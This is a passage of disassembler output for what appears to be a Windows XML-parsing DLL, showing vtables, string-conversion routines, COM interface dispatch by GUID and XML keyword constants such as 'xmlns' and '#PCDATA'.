retn 14h
sub_69B1E82F endp
; ---------------------------------------------------------------------------
align 10h
off_69B1E8B0 dd offset sub_69B84A43 ; DATA XREF: sub_69B1E82F+49o
dd offset sub_69B1EC38
dd offset sub_69B1EC38
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B8458A
dd offset sub_69B84698
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
off_69B1E930 dd offset sub_69B84A43 ; DATA XREF: sub_69B1E82F+42o
dd offset sub_69B1EC38
dd offset sub_69B1EC38
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B365EB
dd offset sub_69B84A23
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365F3
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365EB
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84578
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A53
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365F3
dd offset sub_69B84A3B
dd offset sub_69B365F3
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A3B
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A3B
align 8
off_69B1EA68 dd offset loc_69B84513 ; DATA XREF: sub_69B1E82F+3Co
dd offset sub_69B1EC38
dd offset sub_69B1EC38
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B365EB
dd offset sub_69B84A23
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A2B
dd offset sub_69B365F3
dd offset sub_69B365F3
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B84A33
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84578
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B365E3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B84A4B
; =============== S U B R O U T I N E =======================================
sub_69B1EC38 proc near ; DATA XREF: .text:69B14630o
; .text:69B14708o ...
xor eax, eax
inc eax
retn 4
sub_69B1EC38 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19C19
loc_69B1EC3E: ; CODE XREF: sub_69B19C19+13j
cmp dword_69B95AFC, 1
jz loc_69B2535E
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
test eax, eax
jz loc_69B2535E
push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_69B95DA4, eax
test eax, eax
jnz loc_69B19C32
jmp loc_69B2535E
; END OF FUNCTION CHUNK FOR sub_69B19C19
; ---------------------------------------------------------------------------
; char aInitializecrit[]
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_69B19C19+5045o
align 4
; char ModuleName[]
ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_69B1CA7C+D8o
; sub_69B1CD73+Fo ...
; =============== S U B R O U T I N E =======================================
sub_69B1ECB1 proc near ; CODE XREF: sub_69B19189+67p
; sub_69B86E55+60p
; FUNCTION CHUNK AT 69B25396 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 69B253DB SIZE 0000009C BYTES
push 1Ch
push offset dword_69B1EDD8
call sub_69B19C5C
xor esi, esi
cmp dword_69B95DA8, esi
jnz short loc_69B1ECE9
lea eax, [ebp-1Ch]
push eax ; lpCharType
xor edi, edi
inc edi
push edi ; cchSrc
push offset SrcStr ; lpSrcStr
push edi ; dwInfoType
call ds:GetStringTypeW ; GetStringTypeW
test eax, eax
jz loc_69B25396
mov dword_69B95DA8, edi
loc_69B1ECE9: ; CODE XREF: sub_69B1ECB1+14j
; sub_69B1ECB1+66EEj ...
mov eax, dword_69B95DA8
cmp eax, 2
jz loc_69B1EDBF
cmp eax, esi
jz loc_69B1EDBF
cmp eax, 1
jnz loc_69B1EDCF
mov [ebp-20h], esi
mov [ebp-24h], esi
cmp [ebp+18h], esi
jz loc_69B253B4
loc_69B1ED17: ; CODE XREF: sub_69B1ECB1+670Bj
push esi ; cchWideChar
push esi ; lpWideCharStr
push dword ptr [ebp+10h] ; cchMultiByte
push dword ptr [ebp+0Ch] ; lpMultiByteStr
xor eax, eax
cmp [ebp+20h], esi
setnz al
lea eax, ds:1[eax*8]
push eax ; dwFlags
push dword ptr [ebp+18h] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov ebx, eax
mov [ebp-28h], ebx
test ebx, ebx
jz loc_69B1EDCF
and dword ptr [ebp-4], 0
lea edi, [ebx+ebx]
mov eax, edi
add eax, 3
and eax, 0FFFFFFFCh
call sub_69B1B09C
mov [ebp-18h], esp
mov esi, esp
mov [ebp-2Ch], esi
mov ecx, edi
xor eax, eax
mov edi, esi
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B1ED79: ; CODE XREF: sub_69B253C5+11j
test esi, esi
jz loc_69B253DB
loc_69B1ED81: ; CODE XREF: sub_69B1ECB1+6745j
push ebx ; cchWideChar
push esi ; lpWideCharStr
push dword ptr [ebp+10h] ; cchMultiByte
push dword ptr [ebp+0Ch] ; lpMultiByteStr
push 1 ; dwFlags
push dword ptr [ebp+18h] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
test eax, eax
jz short loc_69B1EDA9
push dword ptr [ebp+14h] ; lpCharType
push eax ; cchSrc
push esi ; lpSrcStr
push dword ptr [ebp+8] ; dwInfoType
call ds:GetStringTypeW ; GetStringTypeW
mov [ebp-20h], eax
loc_69B1EDA9: ; CODE XREF: sub_69B1ECB1+E5j
cmp dword ptr [ebp-24h], 0
jnz loc_69B253FB
loc_69B1EDB3: ; CODE XREF: sub_69B1ECB1+6751j
mov eax, [ebp-20h]
loc_69B1EDB6: ; CODE XREF: sub_69B1ECB1+120j
; sub_69B1ECB1+67C1j
lea esp, [ebp-38h]
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B1EDBF: ; CODE XREF: sub_69B1ECB1+40j
; sub_69B1ECB1+48j
mov edi, [ebp+1Ch]
cmp edi, esi
jnz loc_69B2540D
jmp loc_69B25407
; ---------------------------------------------------------------------------
loc_69B1EDCF: ; CODE XREF: sub_69B1ECB1+51j
; sub_69B1ECB1+8Ej ...
xor eax, eax
jmp short loc_69B1EDB6
sub_69B1ECB1 endp
; ---------------------------------------------------------------------------
align 8
dword_69B1EDD8 dd 0FFFFFFFFh dd offset sub_69B253C1
dd offset sub_69B253C5
; const WCHAR SrcStr
SrcStr dw 0 ; DATA XREF: sub_69B1AEC4+1Co
; sub_69B1ECB1+1Eo
align 4
; =============== S U B R O U T I N E =======================================
sub_69B1EDE8 proc near ; CODE XREF: sub_69B1992C+59p
; sub_69B19E6E+164p
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B1EE00
mov eax, esi
pop esi
retn
sub_69B1EDE8 endp
; ---------------------------------------------------------------------------
align 10h
off_69B1EE00 dd offset sub_69B2D67E ; DATA XREF: sub_69B1EDE8+8o
; sub_69B4E278+7Ao ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B1F6C0
dd offset sub_69B69383
dd offset sub_69B728FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1C12C
loc_69B1EE40: ; CODE XREF: sub_69B1C12C+1Cj
jz loc_69B1EFCE
mov ecx, 2933BF95h
cmp eax, ecx
ja loc_69B1EF6C
jz loc_69B1EF46
cmp eax, 3
jz loc_69B1EF0F
cmp eax, 0Ch
jz short loc_69B1EEE4
cmp eax, 109h
jz short loc_69B1EEAC
cmp eax, 2933BF81h
jnz loc_69B1C19F
push offset stru_69B25E34
loc_69B1EE7E: ; CODE XREF: sub_69B1C12C+2E1Fj
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
cmp byte ptr [esi+8Dh], 0
jz loc_69B1C19F
xor ebx, ebx
cmp [ebp+arg_0], ebx
jz loc_69B1EF50
push [ebp+arg_0]
jmp loc_69B1C197
; ---------------------------------------------------------------------------
loc_69B1EEAC: ; CODE XREF: sub_69B1C12C+2D40j
push offset dword_69B2B020
loc_69B1EEB1: ; CODE XREF: sub_69B1C12C+2E5Ej
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push 18h
call sub_69B1D897
test eax, eax
jz short loc_69B1EEDD
push dword ptr [esi+3Ch]
add esi, 24h
push esi
mov ecx, eax
call sub_69B14D48
jmp loc_69B1F10D
; ---------------------------------------------------------------------------
loc_69B1EEDD: ; CODE XREF: sub_69B1C12C+2D9Cj
; sub_69B1C12C+2DD4j ...
xor eax, eax
jmp loc_69B1F10D
; ---------------------------------------------------------------------------
loc_69B1EEE4: ; CODE XREF: sub_69B1C12C+2D39j
push offset dword_69B2AFF0
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push 34h
call sub_69B1D897
test eax, eax
jz short loc_69B1EEDD
push esi
mov ecx, eax
call sub_69B56509
jmp loc_69B1F10D
; ---------------------------------------------------------------------------
loc_69B1EF0F: ; CODE XREF: sub_69B1C12C+2D30j
push offset dword_69B2B030
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
cmp dword ptr [esi+0E0h], 0
jz loc_69B1C19F
push [ebp+arg_C] ; int
lea ecx, [esi+0DCh] ; ppunkMarshal
push edi ; int
push esi ; punkOuter
call sub_69B88245
mov ebx, eax
jmp loc_69B1C19F
; ---------------------------------------------------------------------------
loc_69B1EF46: ; CODE XREF: sub_69B1C12C+2D27j
push offset dword_69B25E14
jmp loc_69B1EE7E
; ---------------------------------------------------------------------------
loc_69B1EF50: ; CODE XREF: sub_69B1C12C+2D72j
push 44h
call sub_69B1D897
cmp eax, ebx
jz loc_69B1DF39
push esi
mov ecx, eax
call sub_69B592CE
jmp loc_69B1DF2F
; ---------------------------------------------------------------------------
loc_69B1EF6C: ; CODE XREF: sub_69B1C12C+2D21j
cmp eax, 2B8DE2FEh
jz short loc_69B1EFC4
cmp eax, 79EAC9C9h
jz short loc_69B1EF8F
cmp eax, 7FD52380h
jnz loc_69B1C19F
push offset dword_69B2B0D0
jmp loc_69B1EEB1
; ---------------------------------------------------------------------------
loc_69B1EF8F: ; CODE XREF: sub_69B1C12C+2E4Cj
push offset dword_69B2AFA0
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push 18h
call sub_69B1D897
test eax, eax
jz loc_69B1EEDD
push dword ptr [esi+3Ch]
add esi, 28h
push esi
mov ecx, eax
call sub_69B14C7C
jmp loc_69B1F10D
; ---------------------------------------------------------------------------
loc_69B1EFC4: ; CODE XREF: sub_69B1C12C+2E45j
push offset dword_69B1F1F0
jmp loc_69B1C176
; ---------------------------------------------------------------------------
loc_69B1EFCE: ; CODE XREF: sub_69B1C12C:loc_69B1EE40j
push offset dword_69B25CE4
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
cmp byte ptr [esi+8Dh], 0
jnz loc_69B1C19F
push 14h
call sub_69B1D897
test eax, eax
jz loc_69B1EEDD
push esi
mov ecx, eax
call sub_69B14D14
jmp loc_69B1F10D
; ---------------------------------------------------------------------------
loc_69B1F00A: ; CODE XREF: sub_69B1C12C+29j
jz loc_69B1F121
cmp eax, 0B196B283h
jz loc_69B1F0D5
cmp eax, 0B196B284h
jz short loc_69B1F08A
cmp eax, 0B722BCCBh
jz short loc_69B1F055
cmp eax, 0CB5BDC81h
jnz loc_69B1C19F
push offset dword_69B2B110
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push dword ptr [esi+3Ch]
push esi
call sub_69B8A09C
jmp loc_69B1F10D
; ---------------------------------------------------------------------------
loc_69B1F055: ; CODE XREF: sub_69B1C12C+2EFBj
push offset nullsub_2
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push 18h
call sub_69B1D897
test eax, eax
jz loc_69B1EEDD
push dword ptr [esi+3Ch]
add esi, 2Ch
push esi
mov ecx, eax
call sub_69B14CD0
jmp loc_69B1F10D
; ---------------------------------------------------------------------------
loc_69B1F08A: ; CODE XREF: sub_69B1C12C+2EF4j
push offset dword_69B2B100
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push 2Ch
call sub_69B1D897
test eax, eax
jz short loc_69B1F0C5
lea ecx, [esi+0A4h]
push ecx
lea ecx, [esi+0A0h]
push ecx
push esi
push offset dword_69B25D04
mov ecx, eax
call sub_69B50CCC
jmp short loc_69B1F0C7
; ---------------------------------------------------------------------------
loc_69B1F0C5: ; CODE XREF: sub_69B1C12C+2F7Aj
xor eax, eax
loc_69B1F0C7: ; CODE XREF: sub_69B1C12C+2F97j
test eax, eax
jnz short loc_69B1F10D
mov ebx, 8007000Eh
jmp loc_69B1C19F
; ---------------------------------------------------------------------------
loc_69B1F0D5: ; CODE XREF: sub_69B1C12C+2EE9j
push offset dword_69B2B0F0
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push 14h
call sub_69B1D897
test eax, eax
jz short loc_69B1F107
push offset dword_69B12158
push offset libID
push esi
mov ecx, eax
call sub_69B59CC9
jmp short loc_69B1F109
; ---------------------------------------------------------------------------
loc_69B1F107: ; CODE XREF: sub_69B1C12C+2FC5j
xor eax, eax
loc_69B1F109: ; CODE XREF: sub_69B1C12C+2FD9j
test eax, eax
jz short loc_69B1F117
loc_69B1F10D: ; CODE XREF: sub_69B1C12C+2DACj
; sub_69B1C12C+2DB3j ...
mov ecx, [ebp+arg_C]
mov [ecx], eax
jmp loc_69B1F1E7
; ---------------------------------------------------------------------------
loc_69B1F117: ; CODE XREF: sub_69B1C12C+2FDFj
mov eax, 8007000Eh
jmp loc_69B1C1A1
; ---------------------------------------------------------------------------
loc_69B1F121: ; CODE XREF: sub_69B1C12C:loc_69B1F00Aj
push offset stru_69B25E84
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
call dword_69B92948
mov edi, eax
test edi, edi
jz short loc_69B1F15F
push esi
push edi
lea ecx, [ebp+var_14]
call sub_69B43E1C
cmp [ebp+var_10], 0
jnz short loc_69B1F169
lea ecx, [ebp+var_14]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B1F15F: ; CODE XREF: sub_69B1C12C+3012j
mov eax, 80004005h
jmp loc_69B1C1A1
; ---------------------------------------------------------------------------
loc_69B1F169: ; CODE XREF: sub_69B1C12C+3022j
lea eax, [ebp+arg_0]
push eax
mov ecx, esi
call sub_69B3DE0E
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_C]
mov [eax], ecx
lea ecx, [ebp+var_14]
xor ebx, ebx
call sub_69B4637D
push edi
call dword_69B92944
jmp loc_69B1C19F
; ---------------------------------------------------------------------------
loc_69B1F192: ; CODE XREF: sub_69B1C12C+3Fj
cmp eax, 0FC4801A3h
jnz loc_69B1C19F
push offset dword_69B2B0C0
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push dword ptr [esi+3Ch]
push esi
call sub_69B8A09C
mov ecx, eax
add eax, 4
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, [ebp+arg_C]
mov [eax], ecx
jmp short loc_69B1F1E7
; ---------------------------------------------------------------------------
loc_69B1F1CB: ; CODE XREF: sub_69B1C12C+34j
push offset dword_69B1F200
push edi
call sub_69B1C1B8
test eax, eax
jz loc_69B1C19F
push esi
push [ebp+arg_C]
call sub_69B17320
loc_69B1F1E7: ; CODE XREF: sub_69B1C12C+2FE6j
; sub_69B1C12C+309Dj
xor ebx, ebx
jmp loc_69B1C19F
; END OF FUNCTION CHUNK FOR sub_69B1C12C
; ---------------------------------------------------------------------------
align 10h
dword_69B1F1F0 dd 2B8DE2FEh, 11D18D2Dh, 0C000FCB2h, 0A915D94Fh
; DATA XREF: sub_69B1C12C:loc_69B1EFC4o
; .data:off_69B92218o
dword_69B1F200 dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8h
; DATA XREF: sub_69B1C12C:loc_69B1F1CBo
; GUID libID
libID dd 0F5078F18h ; Data1 ; DATA XREF: sub_69B1C12C+2FCCo
; DllUnregisterServer+37o ...
dw 0C551h ; Data2
dw 11D3h ; Data3
db 89h, 0B9h, 2 dup(0), 0F8h, 1Fh, 0E2h, 21h; Data4
off_69B1F220 dd offset sub_69B448B2 ; DATA XREF: sub_69B1BB5E+1Do
; sub_69B1BBB7+7o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B1F23C
dd offset sub_69B1C3B2
dd offset sub_69B8080F
dd offset sub_69B2DE82
; =============== S U B R O U T I N E =======================================
sub_69B1F23C proc near ; DATA XREF: .text:69B1F22Co
add ecx, 10h
push ecx ; lpCriticalSection
call ds:EnterCriticalSection
retn
sub_69B1F23C endp
; ---------------------------------------------------------------------------
align 4
off_69B1F248 dd offset sub_69B448B2 ; DATA XREF: sub_69B19B0D+24o
; sub_69B1AE5D+2Fo
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B1F264
dd offset sub_69B11D73
dd offset sub_69B2DE91
dd offset sub_69B18ED9
; =============== S U B R O U T I N E =======================================
sub_69B1F264 proc near ; DATA XREF: .text:69B1F254o
push 0FFFFFFFFh ; dwMilliseconds
call sub_69B18F8A
retn
sub_69B1F264 endp
; ---------------------------------------------------------------------------
off_69B1F26C dd offset off_69B17D10 ; DATA XREF: .data:69B921D4o
dd 0
dd 9
dd offset aNamespace_0 ; "namespace"
align 10h
aNamespace_0: ; DATA XREF: .text:69B1F278o
unicode 0, <namespace>,0
align 8
off_69B1F298 dd offset off_69B17D10 ; DATA XREF: .data:69B921A8o
align 10h
dd 0Dh
dd offset aXmlNamespace ; "xml:namespace"
aXmlNamespace: ; DATA XREF: .text:69B1F2A4o
unicode 0, <xml:namespace>,0
align 8
off_69B1F2C8 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+350o
; sub_69B19E6E+5Co ...
align 10h
dd 3
dd offset aXml_0 ; "xml"
; const WCHAR aXml_0
aXml_0: ; DATA XREF: .text:69B1F2D4o
; sub_69B4D560+28o ...
unicode 0, <xml>,0
off_69B1F2E0 dd offset off_69B17D10 ; DATA XREF: .data:69B921A4o
align 8
dd 9
dd offset aXmlSpace_1 ; "XML-SPACE"
; const WCHAR aXmlSpace_1
aXmlSpace_1: ; DATA XREF: .text:69B1F2ECo
; sub_69B4F0B4+208o
unicode 0, <XML-SPACE>,0
off_69B1F304 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+74o
; sub_69B490BC+62o ...
dd 0
dd 5
dd offset Str1 ; "xmlns"
align 8
; const WCHAR Str1
Str1: ; DATA XREF: .text:69B1F310o
; sub_69B4D560+3Fo ...
unicode 0, <xmlns>,0
align 8
off_69B1F328 dd offset off_69B17D10 ; DATA XREF: .data:off_69B92188o
align 10h
dd 5
dd offset aCdata_2 ; "CDATA"
aCdata_2: ; DATA XREF: .text:69B1F334o
unicode 0, <CDATA>,0
align 8
off_69B1F348 dd offset off_69B17D10 ; DATA XREF: .data:69B9218Co
align 10h
dd 7
dd offset aPcdata ; "#PCDATA"
aPcdata: ; DATA XREF: .text:69B1F354o
unicode 0, <#PCDATA>,0
off_69B1F368 dd offset off_69B17D10 ; DATA XREF: .data:69B921E0o
align 10h
dd 5
dd offset aEmpty ; "EMPTY"
aEmpty: ; DATA XREF: .text:69B1F374o
unicode 0, <EMPTY>,0
off_69B1F384 dd offset off_69B17D10 ; DATA XREF: .data:69B921E4o
dd 0
dd 3
dd offset aAny_0 ; "ANY"
aAny_0: ; DATA XREF: .text:69B1F390o
unicode 0, <ANY>,0
align 10h
off_69B1F3A0 dd offset off_69B17D10 ; DATA XREF: .data:69B921C4o
align 8
dd 4
dd offset aName_1 ; "name"
aName_1: ; DATA XREF: .text:69B1F3ACo
unicode 0, <name>,0
align 10h
off_69B1F3C0 dd offset off_69B17D10 ; DATA XREF: .data:69B921E8o
align 8
dd 6
dd offset aColumn ; "COLUMN"
aColumn: ; DATA XREF: .text:69B1F3CCo
unicode 0, <COLUMN>,0
align 10h
off_69B1F3E0 dd offset off_69B17D10 ; DATA XREF: .data:69B921ECo
align 8
dd 6
dd offset aRowset ; "ROWSET"
aRowset: ; DATA XREF: .text:69B1F3ECo
unicode 0, <ROWSET>,0
align 10h
off_69B1F400 dd offset off_69B17D10 ; DATA XREF: .data:69B921F0o
align 8
dd 4
dd offset aName_2 ; "NAME"
aName_2: ; DATA XREF: .text:69B1F40Co
unicode 0, <NAME>,0
align 10h
off_69B1F420 dd offset off_69B17D10 ; DATA XREF: .data:69B921F4o
align 8
dd 9
dd offset aChildname ; "CHILDNAME"
aChildname: ; DATA XREF: .text:69B1F42Co
unicode 0, <CHILDNAME>,0
off_69B1F444 dd offset off_69B17D10 ; DATA XREF: .data:69B921F8o
dd 0
dd 4
dd offset aAttr ; "ATTR"
align 8
aAttr: ; DATA XREF: .text:69B1F450o
unicode 0, <ATTR>,0
align 8
off_69B1F468 dd offset off_69B17D10 ; DATA XREF: .data:69B921FCo
align 10h
dd 4
dd offset aText_1 ; "TEXT"
aText_1: ; DATA XREF: .text:69B1F474o
unicode 0, <TEXT>,0
align 8
off_69B1F488 dd offset off_69B17D10 ; DATA XREF: .data:69B921C8o
align 10h
dd 2
dd offset aId_0 ; "ID"
aId_0: ; DATA XREF: .text:69B1F494o
unicode 0, <ID>,0
align 10h
off_69B1F4A0 dd offset off_69B17D10 ; DATA XREF: .data:69B92208o
align 8
dd 6
dd offset aValues_0 ; "values"
aValues_0: ; DATA XREF: .text:69B1F4ACo
unicode 0, <values>,0
align 10h
off_69B1F4C0 dd offset off_69B17D10 ; DATA XREF: .data:69B921CCo
align 8
dd 7
dd offset aDefault_1 ; "DEFAULT"
aDefault_1: ; DATA XREF: .text:69B1F4CCo
unicode 0, <DEFAULT>,0
off_69B1F4E0 dd offset off_69B17D10 ; DATA XREF: .data:69B921D0o
align 8
dd 5
dd offset aSpace ; "space"
aSpace: ; DATA XREF: .text:69B1F4ECo
unicode 0, <space>,0
off_69B1F4FC dd offset off_69B17D10 ; DATA XREF: .data:69B921B8o
dd 0
dd 8
dd offset aPreserve ; "preserve"
align 10h
; const WCHAR aPreserve
aPreserve: ; DATA XREF: .text:69B1F508o
; sub_69B4A16C+6Eo ...
unicode 0, <preserve>,0
align 4
off_69B1F524 dd offset off_69B17D10 ; DATA XREF: .data:69B921BCo
dd 0
dd 7
dd offset aDefault ; "default"
; const WCHAR aDefault
aDefault: ; DATA XREF: .text:69B1F530o
; sub_69B4EE00+2Do ...
unicode 0, <default>,0
off_69B1F544 dd offset sub_69B3B844 ; DATA XREF: sub_69B3BA77+18o
; sub_69B3BC4C+Do
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B3B8CA
dd offset sub_69B3B5B0
dd offset sub_69B3B684
; =============== S U B R O U T I N E =======================================
sub_69B1F56C proc near ; CODE XREF: .text:69B3BB6Dj
; .text:69B3BB8Bj ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 0Ch
call sub_69B18E54
retn 4
sub_69B1F56C endp
; =============== S U B R O U T I N E =======================================
sub_69B1F57B proc near ; CODE XREF: sub_69B6DF25+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_69B65445
mov dword ptr [esi], offset off_69B1F640
mov dword ptr [esi+8], offset off_69B1F5E0
lea ebx, [esi+10h]
and dword ptr [ebx], 0
push 20h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 4
call sub_69B19118
push edi
push ebx
mov dword ptr [edi], offset off_69B1F680
call sub_69B17320
push [esp+0Ch+arg_0]
mov ecx, esi
call sub_69B6DD88
push [esp+0Ch+arg_4]
mov ecx, esi
call sub_69B6DD88
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B1F57B endp
; ---------------------------------------------------------------------------
align 10h
off_69B1F5E0 dd offset sub_69B65C47 ; DATA XREF: sub_69B1F57B+10o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B6DD7B
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6DD83
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6DF01
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B67765
dd offset sub_69B698CB
dd offset sub_69B6DD77
dd offset sub_69B6C7A5
dd offset sub_69B6860C
dd offset sub_69B6DF09
dd offset sub_69B6DDC4
dd offset sub_69B82AF4
dd offset sub_69B6DDF7
dd offset sub_69B6C906
dd offset sub_69B6C809
off_69B1F640 dd offset sub_69B6547B ; DATA XREF: sub_69B1F57B+Ao
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B65878
dd offset sub_69B1B57D
